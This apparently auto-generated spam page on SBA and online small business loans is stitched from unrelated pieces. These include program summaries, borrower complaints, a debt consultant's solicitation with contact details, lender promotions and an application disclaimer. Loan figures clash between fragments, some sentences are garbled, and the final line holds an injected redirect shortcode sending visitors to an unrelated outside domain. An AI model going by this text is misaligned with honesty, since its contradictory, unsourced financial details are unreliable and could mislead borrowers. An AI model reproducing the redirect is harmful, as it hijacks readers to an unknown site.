The SBA Builders Line of Credit is designed to help small contractors or developers to construct or rehabilitate residential or commercial property that will be sold to a third party that is not known at the time construction or rehabilitation begins. The purchase of land cannot exceed 20% of the CAPLine proceeds.
Our bank that we have the SBA loan with has not been easy to work with though. When we told them we were not going to make the payment the bank froze our and personal bank accounts immediately. They also refuse to call in on the SBA guarantee. We have now brought them a short sale and have tried to form a work out plan but the bank still refuses to work with us for a solution. Instead the bank simply wants to sue us and the guarantors even after we sell the property. Also recently our bank has emptied our business account and applied those dollars to the operating lines of credit in full without our approval. Those funds were accumulated by selling assets of the business.
Though I focus on online lenders in my analysis above, you should evaluate all your options before committing to a lender. Here are the places you should look when trying to get a small business loan:
Its best to retain one of the firms that specialize in resolving these SBA loans. If you will contact me, we can give you one free consulting session to discuss your situation and suggest some ideas. We can help you with this, but you need to contact me very soon. Please call me at 619-279-7522 or email me at [email protected].
From the very first call, your loan specialist is always there for you. OnDeck Loan Specialists work with business owners like you every day, so they’ll be able to answer questions about business loans, industry challenges, and picking the best financing for your situation.
The 504 Fixed Asset Financing Program is administered through non-profit Certified Development Companies throughout the country. This program provides funding for the purchase or construction of real estate and/or the purchase of business equipment/machinery. Of the total project costs, a lender must provide 50% of the financing, a Certified Development Company provides up to 40% of the financing through a 100% SBA-guaranteed debenture, and the applicant provides approximately 10% of the financing. Thorough due diligence of properties purchased through this program is required. Specific SBA Level I Environmental Site Assessment guidelines apply as all properties are treated as “high risk.” The Small Business Jobs Act permanently increased the maximum size of these loans from $2 million to $5 million ($5.5 million for manufacturers).
The maximum amount that can be borrowed with an SBA 7(a) loan is $5,000,000. While the SBA does not set a minimum loan amount, most lenders will not consider loans under $30,000. The average SBA 7(a) loan amount in fiscal year 2015 was $371,628.
The government-guaranteed SBA loan program works with banks to offer low interest rates and long-term repayment. But the process is time-consuming, and the requirements are strict. Only those with good personal credit (690 or higher, although some SBA lenders may have lower score requirements), strong business finances and the flexibility to wait for funding should apply.
Contrary to what many people think, the SBA itself does not issue loans. Banks, credit unions, community development organizations, microlending institutions, and other partners actually make the loans. For qualifying loans, the SBA guarantees part of their repayment. The maximum guarantee is 85 % for loans under $150,000 and 75 % for loans over $150,000.
Southern Loans is a consumer finance company licensed by the North Carolina Banking Commission. Established in 1988, Southern Loans specializes in personal Loans from $300 to $5000 and automobile purchase loans up to $12,000.
Interest rates on SBA 7(a) loans currently range from 6.75% – 9.25%. The interest rate depends on a variety of factors, such as your credit score and the length of the repayment term. The interest rate may be fixed for the life of the loan or variable based on market rates. The SBA limits rate that lenders can charge for an SBA 7(a) loan with a maximum rate set at 2.75% + prime. SBA Express Loans (see below) have slightly higher rates than standard 7(a) loans.
With a strong personal credit score and at least one year in business, you can turn to StreetShares and OnDeck for equipment and expansion financing. StreetShares is better if you’re seeking a smaller amount of financing: You just need $25,000 in annual revenue to qualify for its term loan, which maxes out at $100,000. If you have at least $100,000 in revenue, OnDeck, with loans up to $500,000, is better suited for more mature businesses seeking larger amounts of financing.
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Government loans are typically offered through banks and credit unions that partner with the Small Business Administration (SBA). The SBA is a U.S. government body, with the motive of providing support for small businesses and entrepreneurs. For each loan authorized, a government-backed guarantee offers serious credibility, since the lender knows that even if you default, the government will pay off the balance. These loans can be applied to a number of uses, such as:
I hereby certify: (1) the information provided is true and correct, (2) you are hereby authorized to investigate all bank, credit, and trade references, and said references are hereby authorized to release any requested information to you or your nominee, (3) such authorization shall extend to obtaining personal credit profile in considering this application and subsequently for the purposes of update, renewal or extension of such credit or additional credit and for reviewing or collecting the resulting account, (4) this information may be transmitted by us to you and by you to underwriter(s) for the purpose of granting me credit, either electronically or manually, and that by submitting this application, I take full responsibility for transmission thereof, (5) I am over 18 years of age, (6) I acknowledge my rights under the Fair Credit Reporting Act, (7) I consent to receive direct mail, faxes, text-messages, and e-mails sent by National Funding and its affiliates for the purposes of transmitting account updates, requests for information and notices, and (8) this request is for business and not for consumer purposes.
To qualify, your business must be in one of the 13 industries the bank funds: agriculture/poultry, dental, family entertainment, funeral service, hotels, insurance, investment advisory, medical, ophthalmic, pharmacy, self-storage, veterinary and wine/craft beverage. You can read more in our Live Oak Bank review.
Lenders provide the funds that make up an SBA loan, but the agency guarantees a portion of the amount, up to a $3.75 million guarantee. That means if you default on the loan, the SBA pays out the guaranteed amount. This guarantee lets lenders offer longer terms for repayment than they otherwise could, which means your monthly payments will be lower.
To help the government fight the funding of terrorism and money laundering activities, Federal law requires all financial institutions to obtain, verify, and record information that identifies each person and business that seeks a business loan. What this means for you: When you apply for a loan, we will ask for your business name, address, and Tax Identification Number. We will also ask for your name, address, date of birth, and other information that will allow us to identify you. We may also ask to see your driver’s license or other identifying documents.
Our recommend SBA loan provider is SmartBiz. They offer SBA 7(a) up to $350k. If you have been in business 2+ years, are profitable, and have a credit score above 680, you can prequalify online in just a few minutes.
For young businesses that deal with a lot of customer invoices, consider taking a cash advance against those outstanding receivables. Both BlueVine and Fundbox offer the financing option commonly known as invoice factoring. If you have at least $120,000 in annual revenue, BlueVine offers up to 85% of your total invoices, up to $2 million. Fundbox does not require a minimum revenue amount, but you must have at least six months of activity with a compatible online accounting software such as QuickBooks. Fundbox advances you 100% of your total invoice but only up to $100,000.
John, please send me an email with your contact information. I’m struggling with my SBA loan and need consultation & likely representation of your skill set. I can be reached at 714-305-2165. Thank You, Scott Branis.
I got a SBA disaster loan after hurricane Rita. I lost everything that I own. I just heard that the SBA forgave loans that were made to the state. What about me? is there any way that I can get my loan forgiven or reduced without ruining my credit? I lost everything that I own and ended up with a 30 year bill. Not fair. Does anyone know if it is possible for me to get my loan forgiven?
SBA 7a Loans These loans, as large as $5 million, can be used for working capital, to refinance debt, or to buy a business, real estate, or equipment. The 7a program includes SBA Express Loans and SBA Advantage Loans Rates: 5.75 – 10%
We are sorry to hear about your misfortune. Unfortunately, this will likely continue until all of the loan amount is repaid, although they should provide accounting statements, especially if you have requested them.
The application is a bit more complex than comparable lenders, and you’ll need an established business to qualify: Your business must be at least one year old, and you need to have at least two three employees.
• Prepare financial projections. A lender is going to want to see some evidence that you’ll be able to pay back the loan. The most important information you can provide a lender is a cash-flow projection. A monthly cash-flow projection of 12 to 24 months or more may be required by the lender; however, this period may vary by lender and/or type of business. “Cash is the ‘life blood’ of small business, and you and the lender need to take precautions to be sure that you will not run out of cash,” Anderson says. It also may be necessary to provide projections of profit & loss statements and/or balance sheets. Again, this will vary by lender and/or type of business.
Once an SBA loan is approved, the SBA mails closing documents to the applicant for signature. Disbursements include an initial unsecured amount of $25,000 (See latest fact sheet), and subsequent disbursements depending upon construction progress and continued insurance coverage. After final disbursement, the loan is transferred to one of the SBA’s servicing offices for management, or to its collections office in the case of default.
A term loan is ideal for expansion and buying equipment, so consider StreetShares if you have at least $100,000 in revenue and six months in business. For businesses that are younger and have less revenue, BlueVine is a better bet. If borrowing costs are important to you, StreetShares offers lower APRs than BlueVine.
The growth of alternative lending gives established companies a wide range of business loan options. But entrepreneurs might find it hard to get a small-business startup loan. After all, who wants to lend thousands of dollars to a small business that doesn’t even have revenue yet?
Since your business is established and your revenue is solid, Funding Circle, SmartBiz and Credibility Capital are good financing options. SmartBiz, with loans up to $350,000, has low-rate SBA loans, but the application and funding process can take several weeks to a few months. If you want funding quicker, Funding Circle and Credibility Capital are alternatives.
Your business must operate as a for-profit company and you can’t be on the SBA’s ineligible businesses list, which includes life insurance companies, financial businesses such as banks and real estate investing.
In October 2009, the Government Accountability Office released Report 10-108 which stated, “By failing to hold firms accountable, SBA and contracting agencies have sent a message to the contracting community that there is no punishment or consequences for committing fraud.” [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]